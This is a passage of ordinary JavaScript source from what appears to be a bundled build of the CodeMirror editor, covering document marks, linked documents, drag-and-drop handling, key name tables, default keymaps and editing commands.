\"gutter\" : \"class\", function (line) {\n      var prop = where == \"text\" ? \"textClass\"\n               : where == \"background\" ? \"bgClass\"\n               : where == \"gutter\" ? \"gutterClass\" : \"wrapClass\";\n      if (!line[prop]) { line[prop] = cls; }\n      else if (classTest(cls).test(line[prop])) { return false }\n      else { line[prop] += \" \" + cls; }\n      return true\n    })\n  }),\n  removeLineClass: docMethodOp(function(handle, where, cls) {\n    return changeLine(this, handle, where == \"gutter\" ? \"gutter\" : \"class\", function (line) {\n      var prop = where == \"text\" ? \"textClass\"\n               : where == \"background\" ? \"bgClass\"\n               : where == \"gutter\" ? \"gutterClass\" : \"wrapClass\";\n      var cur = line[prop];\n      if (!cur) { return false }\n      else if (cls == null) { line[prop] = null; }\n      else {\n        var found = cur.match(classTest(cls));\n        if (!found) { return false }\n        var end = found.index + found[0].length;\n        line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? \"\" : \" \") + cur.slice(end) || null;\n      }\n      return true\n    })\n  }),\n\n  addLineWidget: docMethodOp(function(handle, node, options) {\n    return addLineWidget(this, handle, node, options)\n  }),\n  removeLineWidget: function(widget) { widget.clear(); },\n\n  markText: function(from, to, options) {\n    return markText(this, clipPos(this, from), clipPos(this, to), options, options && options.type || \"range\")\n  },\n  setBookmark: function(pos, options) {\n    var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),\n                    insertLeft: options && options.insertLeft,\n                    clearWhenEmpty: false, shared: options && options.shared,\n                    handleMouseEvents: options && options.handleMouseEvents};\n    pos = clipPos(this, pos);\n    return markText(this, pos, pos, realOpts, \"bookmark\")\n  },\n  findMarksAt: function(pos) {\n    pos = clipPos(this, pos);\n    var markers = [], spans = getLine(this, pos.line).markedSpans;\n    if (spans) { for (var i = 0; i < spans.length; ++i) {\n      var span = spans[i];\n      if ((span.from == null || span.from <= pos.ch) &&\n          (span.to == null || span.to >= pos.ch))\n        { markers.push(span.marker.parent || span.marker); }\n    } }\n    return markers\n  },\n  findMarks: function(from, to, filter) {\n    from = clipPos(this, from); to = clipPos(this, to);\n    var found = [], lineNo$$1 = from.line;\n    this.iter(from.line, to.line + 1, function (line) {\n      var spans = line.markedSpans;\n      if (spans) { for (var i = 0; i < spans.length; i++) {\n        var span = spans[i];\n        if (!(span.to != null && lineNo$$1 == from.line && from.ch >= span.to ||\n              span.from == null && lineNo$$1 != from.line ||\n              span.from != null && lineNo$$1 == to.line && span.from >= to.ch) &&\n            (!filter || filter(span.marker)))\n          { found.push(span.marker.parent || span.marker); }\n      } }\n      ++lineNo$$1;\n    });\n    return found\n  },\n  getAllMarks: function() {\n    var markers = [];\n    this.iter(function (line) {\n      var sps = line.markedSpans;\n      if (sps) { for (var i = 0; i < sps.length; ++i)\n        { if (sps[i].from != null) { markers.push(sps[i].marker); } } }\n    });\n    return markers\n  },\n\n  posFromIndex: function(off) {\n    var ch, lineNo$$1 = this.first, sepSize = this.lineSeparator().length;\n    this.iter(function (line) {\n      var sz = line.text.length + sepSize;\n      if (sz > off) { ch = off; return true }\n      off -= sz;\n      ++lineNo$$1;\n    });\n    return clipPos(this, Pos(lineNo$$1, ch))\n  },\n  indexFromPos: function (coords) {\n    coords = clipPos(this, coords);\n    var index = coords.ch;\n    if (coords.line < this.first || coords.ch < 0) { return 0 }\n    var sepSize = this.lineSeparator().length;\n    this.iter(this.first, coords.line, function (line) { // iter aborts when callback returns a truthy value\n      index += line.text.length + sepSize;\n    });\n    return index\n  },\n\n  copy: function(copyHistory) {\n    var doc = new Doc(getLines(this, this.first, this.first + this.size),\n                      this.modeOption, this.first, this.lineSep, this.direction);\n    doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;\n    doc.sel = this.sel;\n    doc.extend = false;\n    if (copyHistory) {\n      doc.history.undoDepth = this.history.undoDepth;\n      doc.setHistory(this.getHistory());\n    }\n    return doc\n  },\n\n  linkedDoc: function(options) {\n    if (!options) { options = {}; }\n    var from = this.first, to = this.first + this.size;\n    if (options.from != null && options.from > from) { from = options.from; }\n    if (options.to != null && options.to < to) { to = options.to; }\n    var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from, this.lineSep, this.direction);\n    if (options.sharedHist) { copy.history = this.history\n    ; }(this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});\n    copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];\n    copySharedMarkers(copy, findSharedMarkers(this));\n    return copy\n  },\n  unlinkDoc: function(other) {\n    var this$1 = this;\n\n    if (other instanceof CodeMirror$1) { other = other.doc; }\n    if (this.linked) { for (var i = 0; i < this.linked.length; ++i) {\n      var link = this$1.linked[i];\n      if (link.doc != other) { continue }\n      this$1.linked.splice(i, 1);\n      other.unlinkDoc(this$1);\n      detachSharedMarkers(findSharedMarkers(this$1));\n      break\n    } }\n    // If the histories were shared, split them again\n    if (other.history == this.history) {\n      var splitIds = [other.id];\n      linkedDocs(other, function (doc) { return splitIds.push(doc.id); }, true);\n      other.history = new History(null);\n      other.history.done = copyHistoryArray(this.history.done, splitIds);\n      other.history.undone = copyHistoryArray(this.history.undone, splitIds);\n    }\n  },\n  iterLinkedDocs: function(f) {linkedDocs(this, f);},\n\n  getMode: function() {return this.mode},\n  getEditor: function() {return this.cm},\n\n  splitLines: function(str) {\n    if (this.lineSep) { return str.split(this.lineSep) }\n    return splitLinesAuto(str)\n  },\n  lineSeparator: function() { return this.lineSep || \"\\n\" },\n\n  setDirection: docMethodOp(function (dir) {\n    if (dir != \"rtl\") { dir = \"ltr\"; }\n    if (dir == this.direction) { return }\n    this.direction = dir;\n    this.iter(function (line) { return line.order = null; });\n    if (this.cm) { directionChanged(this.cm); }\n  })\n});\n\n// Public alias.\nDoc.prototype.eachLine = Doc.prototype.iter;\n\n// Kludge to work around strange IE behavior where it'll sometimes\n// re-fire a series of drag-related events right after the drop (#1551)\nvar lastDrop = 0;\n\nfunction onDrop(e) {\n  var cm = this;\n  clearDragCursor(cm);\n  if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))\n    { return }\n  e_preventDefault(e);\n  if (ie) { lastDrop = +new Date; }\n  var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;\n  if (!pos || cm.isReadOnly()) { return }\n  // Might be a file drop, in which case we simply extract the text\n  // and insert it.\n  if (files && files.length && window.FileReader && window.File) {\n    var n = files.length, text = Array(n), read = 0;\n    var loadFile = function (file, i) {\n      if (cm.options.allowDropFileTypes &&\n          indexOf(cm.options.allowDropFileTypes, file.type) == -1)\n        { return }\n\n      var reader = new FileReader;\n      reader.onload = operation(cm, function () {\n        var content = reader.result;\n        if (/[\\x00-\\x08\\x0e-\\x1f]{2}/.test(content)) { content = \"\"; }\n        text[i] = content;\n        if (++read == n) {\n          pos = clipPos(cm.doc, pos);\n          var change = {from: pos, to: pos,\n                        text: cm.doc.splitLines(text.join(cm.doc.lineSeparator())),\n                        origin: \"paste\"};\n          makeChange(cm.doc, change);\n          setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));\n        }\n      });\n      reader.readAsText(file);\n    };\n    for (var i = 0; i < n; ++i) { loadFile(files[i], i); }\n  } else { // Normal drop\n    // Don't do a replace if the drop happened inside of the selected text.\n    if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {\n      cm.state.draggingText(e);\n      // Ensure the editor is re-focused\n      setTimeout(function () { return cm.display.input.focus(); }, 20);\n      return\n    }\n    try {\n      var text$1 = e.dataTransfer.getData(\"Text\");\n      if (text$1) {\n        var selected;\n        if (cm.state.draggingText && !cm.state.draggingText.copy)\n          { selected = cm.listSelections(); }\n        setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));\n        if (selected) { for (var i$1 = 0; i$1 < selected.length; ++i$1)\n          { replaceRange(cm.doc, \"\", selected[i$1].anchor, selected[i$1].head, \"drag\"); } }\n        cm.replaceSelection(text$1, \"around\", \"paste\");\n        cm.display.input.focus();\n      }\n    }\n    catch(e){}\n  }\n}\n\nfunction onDragStart(cm, e) {\n  if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return }\n  if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) { return }\n\n  e.dataTransfer.setData(\"Text\", cm.getSelection());\n  e.dataTransfer.effectAllowed = \"copyMove\";\n\n  // Use dummy image instead of default browsers image.\n  // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.\n  if (e.dataTransfer.setDragImage && !safari) {\n    var img = elt(\"img\", null, null, \"position: fixed; left: 0; top: 0;\");\n    img.src = \"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\";\n    if (presto) {\n      img.width = img.height = 1;\n      cm.display.wrapper.appendChild(img);\n      // Force a relayout, or Opera won't use our image for some obscure reason\n      img._top = img.offsetTop;\n    }\n    e.dataTransfer.setDragImage(img, 0, 0);\n    if (presto) { img.parentNode.removeChild(img); }\n  }\n}\n\nfunction onDragOver(cm, e) {\n  var pos = posFromMouse(cm, e);\n  if (!pos) { return }\n  var frag = document.createDocumentFragment();\n  drawSelectionCursor(cm, pos, frag);\n  if (!cm.display.dragCursor) {\n    cm.display.dragCursor = elt(\"div\", null, \"CodeMirror-cursors CodeMirror-dragcursors\");\n    cm.display.lineSpace.insertBefore(cm.display.dragCursor, cm.display.cursorDiv);\n  }\n  removeChildrenAndAdd(cm.display.dragCursor, frag);\n}\n\nfunction clearDragCursor(cm) {\n  if (cm.display.dragCursor) {\n    cm.display.lineSpace.removeChild(cm.display.dragCursor);\n    cm.display.dragCursor = null;\n  }\n}\n\n// These must be handled carefully, because naively registering a\n// handler for each editor will cause the editors to never be\n// garbage collected.\n\nfunction forEachCodeMirror(f) {\n  if (!document.getElementsByClassName) { return }\n  var byClass = document.getElementsByClassName(\"CodeMirror\");\n  for (var i = 0; i < byClass.length; i++) {\n    var cm = byClass[i].CodeMirror;\n    if (cm) { f(cm); }\n  }\n}\n\nvar globalsRegistered = false;\nfunction ensureGlobalHandlers() {\n  if (globalsRegistered) { return }\n  registerGlobalHandlers();\n  globalsRegistered = true;\n}\nfunction registerGlobalHandlers() {\n  // When the window resizes, we need to refresh active editors.\n  var resizeTimer;\n  on(window, \"resize\", function () {\n    if (resizeTimer == null) { resizeTimer = setTimeout(function () {\n      resizeTimer = null;\n      forEachCodeMirror(onResize);\n    }, 100); }\n  });\n  // When the window loses focus, we want to show the editor as blurred\n  on(window, \"blur\", function () { return forEachCodeMirror(onBlur); });\n}\n// Called when the window resizes\nfunction onResize(cm) {\n  var d = cm.display;\n  if (d.lastWrapHeight == d.wrapper.clientHeight && d.lastWrapWidth == d.wrapper.clientWidth)\n    { return }\n  // Might be a text scaling operation, clear size caches.\n  d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n  d.scrollbarsClipped = false;\n  cm.setSize();\n}\n\nvar keyNames = {\n  3: \"Enter\", 8: \"Backspace\", 9: \"Tab\", 13: \"Enter\", 16: \"Shift\", 17: \"Ctrl\", 18: \"Alt\",\n  19: \"Pause\", 20: \"CapsLock\", 27: \"Esc\", 32: \"Space\", 33: \"PageUp\", 34: \"PageDown\", 35: \"End\",\n  36: \"Home\", 37: \"Left\", 38: \"Up\", 39: \"Right\", 40: \"Down\", 44: \"PrintScrn\", 45: \"Insert\",\n  46: \"Delete\", 59: \";\", 61: \"=\", 91: \"Mod\", 92: \"Mod\", 93: \"Mod\",\n  106: \"*\", 107: \"=\", 109: \"-\", 110: \".\", 111: \"/\", 127: \"Delete\",\n  173: \"-\", 186: \";\", 187: \"=\", 188: \",\", 189: \"-\", 190: \".\", 191: \"/\", 192: \"`\", 219: \"[\", 220: \"\\\\\",\n  221: \"]\", 222: \"'\", 63232: \"Up\", 63233: \"Down\", 63234: \"Left\", 63235: \"Right\", 63272: \"Delete\",\n  63273: \"Home\", 63275: \"End\", 63276: \"PageUp\", 63277: \"PageDown\", 63302: \"Insert\"\n};\n\n// Number keys\nfor (var i = 0; i < 10; i++) { keyNames[i + 48] = keyNames[i + 96] = String(i); }\n// Alphabetic keys\nfor (var i$1 = 65; i$1 <= 90; i$1++) { keyNames[i$1] = String.fromCharCode(i$1); }\n// Function keys\nfor (var i$2 = 1; i$2 <= 12; i$2++) { keyNames[i$2 + 111] = keyNames[i$2 + 63235] = \"F\" + i$2; }\n\nvar keyMap = {};\n\nkeyMap.basic = {\n  \"Left\": \"goCharLeft\", \"Right\": \"goCharRight\", \"Up\": \"goLineUp\", \"Down\": \"goLineDown\",\n  \"End\": \"goLineEnd\", \"Home\": \"goLineStartSmart\", \"PageUp\": \"goPageUp\", \"PageDown\": \"goPageDown\",\n  \"Delete\": \"delCharAfter\", \"Backspace\": \"delCharBefore\", \"Shift-Backspace\": \"delCharBefore\",\n  \"Tab\": \"defaultTab\", \"Shift-Tab\": \"indentAuto\",\n  \"Enter\": \"newlineAndIndent\", \"Insert\": \"toggleOverwrite\",\n  \"Esc\": \"singleSelection\"\n};\n// Note that the save and find-related commands aren't defined by\n// default. User code or addons can define them. Unknown commands\n// are simply ignored.\nkeyMap.pcDefault = {\n  \"Ctrl-A\": \"selectAll\", \"Ctrl-D\": \"deleteLine\", \"Ctrl-Z\": \"undo\", \"Shift-Ctrl-Z\": \"redo\", \"Ctrl-Y\": \"redo\",\n  \"Ctrl-Home\": \"goDocStart\", \"Ctrl-End\": \"goDocEnd\", \"Ctrl-Up\": \"goLineUp\", \"Ctrl-Down\": \"goLineDown\",\n  \"Ctrl-Left\": \"goGroupLeft\", \"Ctrl-Right\": \"goGroupRight\", \"Alt-Left\": \"goLineStart\", \"Alt-Right\": \"goLineEnd\",\n  \"Ctrl-Backspace\": \"delGroupBefore\", \"Ctrl-Delete\": \"delGroupAfter\", \"Ctrl-S\": \"save\", \"Ctrl-F\": \"find\",\n  \"Ctrl-G\": \"findNext\", \"Shift-Ctrl-G\": \"findPrev\", \"Shift-Ctrl-F\": \"replace\", \"Shift-Ctrl-R\": \"replaceAll\",\n  \"Ctrl-[\": \"indentLess\", \"Ctrl-]\": \"indentMore\",\n  \"Ctrl-U\": \"undoSelection\", \"Shift-Ctrl-U\": \"redoSelection\", \"Alt-U\": \"redoSelection\",\n  fallthrough: \"basic\"\n};\n// Very basic readline/emacs-style bindings, which are standard on Mac.\nkeyMap.emacsy = {\n  \"Ctrl-F\": \"goCharRight\", \"Ctrl-B\": \"goCharLeft\", \"Ctrl-P\": \"goLineUp\", \"Ctrl-N\": \"goLineDown\",\n  \"Alt-F\": \"goWordRight\", \"Alt-B\": \"goWordLeft\", \"Ctrl-A\": \"goLineStart\", \"Ctrl-E\": \"goLineEnd\",\n  \"Ctrl-V\": \"goPageDown\", \"Shift-Ctrl-V\": \"goPageUp\", \"Ctrl-D\": \"delCharAfter\", \"Ctrl-H\": \"delCharBefore\",\n  \"Alt-D\": \"delWordAfter\", \"Alt-Backspace\": \"delWordBefore\", \"Ctrl-K\": \"killLine\", \"Ctrl-T\": \"transposeChars\",\n  \"Ctrl-O\": \"openLine\"\n};\nkeyMap.macDefault = {\n  \"Cmd-A\": \"selectAll\", \"Cmd-D\": \"deleteLine\", \"Cmd-Z\": \"undo\", \"Shift-Cmd-Z\": \"redo\", \"Cmd-Y\": \"redo\",\n  \"Cmd-Home\": \"goDocStart\", \"Cmd-Up\": \"goDocStart\", \"Cmd-End\": \"goDocEnd\", \"Cmd-Down\": \"goDocEnd\", \"Alt-Left\": \"goGroupLeft\",\n  \"Alt-Right\": \"goGroupRight\", \"Cmd-Left\": \"goLineLeft\", \"Cmd-Right\": \"goLineRight\", \"Alt-Backspace\": \"delGroupBefore\",\n  \"Ctrl-Alt-Backspace\": \"delGroupAfter\", \"Alt-Delete\": \"delGroupAfter\", \"Cmd-S\": \"save\", \"Cmd-F\": \"find\",\n  \"Cmd-G\": \"findNext\", \"Shift-Cmd-G\": \"findPrev\", \"Cmd-Alt-F\": \"replace\", \"Shift-Cmd-Alt-F\": \"replaceAll\",\n  \"Cmd-[\": \"indentLess\", \"Cmd-]\": \"indentMore\", \"Cmd-Backspace\": \"delWrappedLineLeft\", \"Cmd-Delete\": \"delWrappedLineRight\",\n  \"Cmd-U\": \"undoSelection\", \"Shift-Cmd-U\": \"redoSelection\", \"Ctrl-Up\": \"goDocStart\", \"Ctrl-Down\": \"goDocEnd\",\n  fallthrough: [\"basic\", \"emacsy\"]\n};\nkeyMap[\"default\"] = mac ? keyMap.macDefault : keyMap.pcDefault;\n\n// KEYMAP DISPATCH\n\nfunction normalizeKeyName(name) {\n  var parts = name.split(/-(?!$)/);\n  name = parts[parts.length - 1];\n  var alt, ctrl, shift, cmd;\n  for (var i = 0; i < parts.length - 1; i++) {\n    var mod = parts[i];\n    if (/^(cmd|meta|m)$/i.test(mod)) { cmd = true; }\n    else if (/^a(lt)?$/i.test(mod)) { alt = true; }\n    else if (/^(c|ctrl|control)$/i.test(mod)) { ctrl = true; }\n    else if (/^s(hift)?$/i.test(mod)) { shift = true; }\n    else { throw new Error(\"Unrecognized modifier name: \" + mod) }\n  }\n  if (alt) { name = \"Alt-\" + name; }\n  if (ctrl) { name = \"Ctrl-\" + name; }\n  if (cmd) { name = \"Cmd-\" + name; }\n  if (shift) { name = \"Shift-\" + name; }\n  return name\n}\n\n// This is a kludge to keep keymaps mostly working as raw objects\n// (backwards compatibility) while at the same time support features\n// like normalization and multi-stroke key bindings. It compiles a\n// new normalized keymap, and then updates the old object to reflect\n// this.\nfunction normalizeKeyMap(keymap) {\n  var copy = {};\n  for (var keyname in keymap) { if (keymap.hasOwnProperty(keyname)) {\n    var value = keymap[keyname];\n    if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) { continue }\n    if (value == \"...\") { delete keymap[keyname]; continue }\n\n    var keys = map(keyname.split(\" \"), normalizeKeyName);\n    for (var i = 0; i < keys.length; i++) {\n      var val = (void 0), name = (void 0);\n      if (i == keys.length - 1) {\n        name = keys.join(\" \");\n        val = value;\n      } else {\n        name = keys.slice(0, i + 1).join(\" \");\n        val = \"...\";\n      }\n      var prev = copy[name];\n      if (!prev) { copy[name] = val; }\n      else if (prev != val) { throw new Error(\"Inconsistent bindings for \" + name) }\n    }\n    delete keymap[keyname];\n  } }\n  for (var prop in copy) { keymap[prop] = copy[prop]; }\n  return keymap\n}\n\nfunction lookupKey(key, map$$1, handle, context) {\n  map$$1 = getKeyMap(map$$1);\n  var found = map$$1.call ? map$$1.call(key, context) : map$$1[key];\n  if (found === false) { return \"nothing\" }\n  if (found === \"...\") { return \"multi\" }\n  if (found != null && handle(found)) { return \"handled\" }\n\n  if (map$$1.fallthrough) {\n    if (Object.prototype.toString.call(map$$1.fallthrough) != \"[object Array]\")\n      { return lookupKey(key, map$$1.fallthrough, handle, context) }\n    for (var i = 0; i < map$$1.fallthrough.length; i++) {\n      var result = lookupKey(key, map$$1.fallthrough[i], handle, context);\n      if (result) { return result }\n    }\n  }\n}\n\n// Modifier key presses don't count as 'real' key presses for the\n// purpose of keymap fallthrough.\nfunction isModifierKey(value) {\n  var name = typeof value == \"string\" ? value : keyNames[value.keyCode];\n  return name == \"Ctrl\" || name == \"Alt\" || name == \"Shift\" || name == \"Mod\"\n}\n\nfunction addModifierNames(name, event, noShift) {\n  var base = name;\n  if (event.altKey && base != \"Alt\") { name = \"Alt-\" + name; }\n  if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base != \"Ctrl\") { name = \"Ctrl-\" + name; }\n  if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base != \"Cmd\") { name = \"Cmd-\" + name; }\n  if (!noShift && event.shiftKey && base != \"Shift\") { name = \"Shift-\" + name; }\n  return name\n}\n\n// Look up the name of a key as indicated by an event object.\nfunction keyName(event, noShift) {\n  if (presto && event.keyCode == 34 && event[\"char\"]) { return false }\n  var name = keyNames[event.keyCode];\n  if (name == null || event.altGraphKey) { return false }\n  return addModifierNames(name, event, noShift)\n}\n\nfunction getKeyMap(val) {\n  return typeof val == \"string\" ? keyMap[val] : val\n}\n\n// Helper for deleting text near the selection(s), used to implement\n// backspace, delete, and similar functionality.\nfunction deleteNearSelection(cm, compute) {\n  var ranges = cm.doc.sel.ranges, kill = [];\n  // Build up a set of ranges to kill first, merging overlapping\n  // ranges.\n  for (var i = 0; i < ranges.length; i++) {\n    var toKill = compute(ranges[i]);\n    while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {\n      var replaced = kill.pop();\n      if (cmp(replaced.from, toKill.from) < 0) {\n        toKill.from = replaced.from;\n        break\n      }\n    }\n    kill.push(toKill);\n  }\n  // Next, remove those actual ranges.\n  runInOp(cm, function () {\n    for (var i = kill.length - 1; i >= 0; i--)\n      { replaceRange(cm.doc, \"\", kill[i].from, kill[i].to, \"+delete\"); }\n    ensureCursorVisible(cm);\n  });\n}\n\n// Commands are parameter-less actions that can be performed on an\n// editor, mostly used for keybindings.\nvar commands = {\n  selectAll: selectAll,\n  singleSelection: function (cm) { return cm.setSelection(cm.getCursor(\"anchor\"), cm.getCursor(\"head\"), sel_dontScroll); },\n  killLine: function (cm) { return deleteNearSelection(cm, function (range) {\n    if (range.empty()) {\n      var len = getLine(cm.doc, range.head.line).text.length;\n      if (range.head.ch == len && range.head.line < cm.lastLine())\n        { return {from: range.head, to: Pos(range.head.line + 1, 0)} }\n      else\n        { return {from: range.head, to: Pos(range.head.line, len)} }\n    } else {\n      return {from: range.from(), to: range.to()}\n    }\n  }); },\n  deleteLine: function (cm) { return deleteNearSelection(cm, function (range) { return ({\n    from: Pos(range.from().line, 0),\n    to: clipPos(cm.doc, Pos(range.to().line + 1, 0))\n  }); }); },\n  delLineLeft: function (cm) { return deleteNearSelection(cm, function (range) { return ({\n    from: Pos(range.from().line, 0), to: range.from()\n  }); }); },\n  delWrappedLineLeft: function (cm) { return deleteNearSelection(cm, function (range) {\n    var top = cm.charCoords(range.head, \"div\").top + 5;\n    var leftPos = cm.coordsChar({left: 0, top: top}, \"div\");\n    return {from: leftPos, to: range.from()}\n  }); },\n  delWrappedLineRight: function (cm) { return deleteNearSelection(cm, function (range) {\n    var top = cm.charCoords(range.head, \"div\").top + 5;\n    var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, \"div\");\n    return {from: range.from(), to: rightPos }\n  }); },\n  undo: function (cm) { return cm.undo(); },\n  redo: function (cm) { return cm.redo(); },\n  undoSelection: function (cm) { return cm.undoSelection(); },\n  redoSelection: function (cm) { return cm.redoSelection(); },\n  goDocStart: function (cm) { return cm.extendSelection(Pos(cm.firstLine(), 0)); },\n  goDocEnd: function (cm) { return cm.extendSelection(Pos(cm.lastLine())); },\n  goLineStart: function (cm) { return cm.extendSelectionsBy(function (range) { return lineStart(cm, range.head.line); },\n    {origin: \"+move\", bias: 1}\n  ); },\n  goLineStartSmart: function (cm) { return cm.extendSelectionsBy(function (range) { return lineStartSmart(cm, range.head); },\n    {origin: \"+move\", bias: 1}\n  ); },\n  goLineEnd: function (cm) { return cm.extendSelectionsBy(function (range) { return lineEnd(cm, range.head.line); },\n    {origin: \"+move\", bias: -1}\n  ); },\n  goLineRight: function (cm) { return cm.extendSelectionsBy(function (range) {\n    var top = cm.charCoords(range.head, \"div\").top + 5;\n    return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, \"div\")\n  }, sel_move); },\n  goLineLeft: function (cm) { return cm.extendSelectionsBy(function (range) {\n    var top = cm.charCoords(range.head, \"div\").top + 5;\n    return cm.coordsChar({left: 0, top: top}, \"div\")\n  }, sel_move); },\n  goLineLeftSmart: function (cm) { return cm.extendSelectionsBy(function (range) {\n    var top = cm.charCoords(range.head, \"div\").top + 5;\n    var pos = cm.coordsChar({left: 0, top: top}, \"div\");\n    if (pos.ch < cm.getLine(pos.line).search(/\\S/)) { return lineStartSmart(cm, range.head) }\n    return pos\n  }, sel_move); },\n  goLineUp: function (cm) { return cm.moveV(-1, \"line\"); },\n  goLineDown: function (cm) { return cm.moveV(1, \"line\"); },\n  goPageUp: function (cm) { return cm.moveV(-1, \"page\"); },\n  goPageDown: function (cm) { return cm.moveV(1, \"page\"); },\n  goCharLeft: function (cm) { return cm.moveH(-1, \"char\"); },\n  goCharRight: function (cm) { return cm.moveH(1, \"char\"); },\n  goColumnLeft: function (cm) { return cm.moveH(-1, \"column\"); },\n  goColumnRight: function (cm) { return cm.moveH(1, \"column\"); },\n  goWordLeft: function (cm) { return cm.moveH(-1, \"word\"); },\n  goGroupRight: function (cm) { return cm.moveH(1, \"group\"); },\n  goGroupLeft: function (cm) { return cm.moveH(-1, \"group\"); },\n  goWordRight: function (cm) { return cm.moveH(1, \"word\"); },\n  delCharBefore: function (cm) { return cm.deleteH(-1, \"char\"); },\n  delCharAfter: function (cm) { return cm.deleteH(1, \"char\"); },\n  delWordBefore: function (cm) { return cm.deleteH(-1, \"word\"); },\n  delWordAfter: function (cm) { return cm.deleteH(1, \"word\"); },\n  delGroupBefore: function (cm) { return cm.deleteH(-1, \"group\"); },\n  delGroupAfter: function (cm) { return cm.deleteH(1, \"group\"); },\n  indentAuto: function (cm) { return cm.indentSelection(\"smart\"); },\n  indentMore: function (cm) { return cm.indentSelection(\"add\"); },\n  indentLess: function (cm) { return cm.indentSelection(\"subtract\"); },\n  insertTab: function (cm) { return cm.replaceSelection(\"\\t\"); },\n  insertSoftTab: function (cm) {\n    var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;\n    for (var i = 0; i < ranges.length; i++) {\n      var pos = ranges[i].from();\n      var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);\n      spaces.push(spaceStr(tabSize - col % tabSize));\n    }\n    cm.replaceSelections(spaces);\n  },\n  defaultTab: function (cm) {\n    if (cm.somethingSelected()) { cm.indentSelection(\"add\"); }\n    else { cm.execCommand(\"insertTab\"); }\n  },\n  // Swap the two chars left and right of each selection's head.\n  // Move cursor behind the two swapped characters afterwards.\n  //\n  // Doesn't consider line feeds a character.\n  // Doesn't scan more than one line above to find a character.\n  // Doesn't do anything on an empty line.\n  // Doesn't do anything with non-empty selections.\n  transposeChars: function (cm) { return runInOp(cm, function () {\n    var ranges = cm.listSelections(), newSel = [];\n    for (var i = 0; i < ranges.length; i++) {\n      if (!ranges[i].empty()) { continue }\n      var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;\n      if (line) {\n        if (cur.ch == line.length) { cur = new Pos(cur.line, cur.ch - 1); }\n        if (cur.ch > 0) {\n          cur = new Pos(cur.line, cur.ch + 1);\n          cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),\n                          Pos(cur.line, cur.ch - 2), cur, \"+transpose\");\n        } else if (cur.line > cm.doc.first) {\n          var prev = getLine(cm.doc, cur.line - 1).text;\n          if (prev) {\n            cur = new Pos(cur.line, 1);\n            cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +\n                            prev.charAt(prev.length - 1),\n                            Pos(cur.line - 1, prev.length - 1), cur, \"+transpose\");\n          }\n        }\n      }\n      newSel.push(new Range(cur, cur));\n    }\n    cm.setSelections(newSel);\n  }); },\n  newlineAndIndent: function (cm) { return runInOp(cm, function () {\n    var sels = cm.listSelections();\n    for (var i = sels.length - 1; i >= 0; i--)\n      { cm.replaceRange(cm.doc.lineSeparator(), sels[i].anchor, sels[i].head, \"+input\"); }\n    sels = cm.listSelections();\n    for (var i$1 = 0; i$1 < sels.length; i$1++)\n      { cm.indentLine(sels[i$1].from().line, null, true); }\n    ensureCursorVisible(cm);\n  }); },\n  openLine: function (cm) { return cm.replaceSelection(\"\\n\", \"start\"); },\n  toggleOverwrite: function (cm) { return cm.toggleOverwrite(); }\n};\n\n\nfunction lineStart(cm, lineN) {\n  var line = getLine(cm.doc, lineN);\n  var visual = visualLine(line);\n  if (visual != line) { lineN = lineNo(visual); }\n  return endOfLine(true, cm, visual, lineN, 1)\n}\nfunction lineEnd(cm, lineN) {\n  var line = getLine(cm.doc, lineN);\n  var visual = visualLineEnd(line);\n  if (visual != line) { lineN = lineNo(visual); }\n  return endOfLine(true, cm, line, lineN, -1)\n}\nfunction lineStartSmart(cm, pos) {\n  var start = lineStart(cm, pos.line);\n  var line = getLine(cm.doc, start.line);\n  var order = getOrder(line, cm.doc.direction);\n  if (!order || order[0].level == 0) {\n    var firstNonWS = Math.max(0, line.text.search(/\\S/));\n    var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;\n    return Pos(start.line, inWS ? 0 : firstNonWS, start.sticky)\n  }\n  return start\n}\n\n// Run a handler that was bound to a key.\nfunction doHandleBinding(cm, bound, dropShift) {\n  if (typeof bound == \"string\") {\n    bound = commands[bound];\n    if (!bound) { return false }\n  }\n  // Ensure previous input has been read, so that the handler sees a\n  // consistent view of the document\n  cm.display.input.ensurePolled();\n  var prevShift = cm.display.shift, done = false;\n  try {\n    if (cm.isReadOnly()) { cm.state.suppressEdits = true; }\n    if (dropShift) { cm.display.shift = false; }\n    done = bound(cm) != Pass;\n  } finally {\n    cm.display.shift = prevShift;\n    cm.state.suppressEdits = false;\n  }\n  return done\n}\n\nfunction lookupKeyForEditor(cm, name, handle) {\n  for (var i = 0; i < cm.state.keyMaps.length; i++) {\n    var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);\n    if (result) { return result }\n  }\n  return (cm.options.extraKeys && lookupKey(name, cm.options.extraKeys, handle, cm))\n    || lookupKey(name, cm.options.keyMap, handle, cm)\n}\n\n// Note that, despite the name, this function is also used to check\n// for bound mouse clicks.\n\nvar stopSeq = new Delayed;\nfunction dispatchKey(cm, name, e, handle) {\n  var seq = cm.state.keySeq;\n  if (seq) {\n    if (isModifierKey(name)) { return \"handled\" }\n    stopSeq.set(50, function () {\n      if 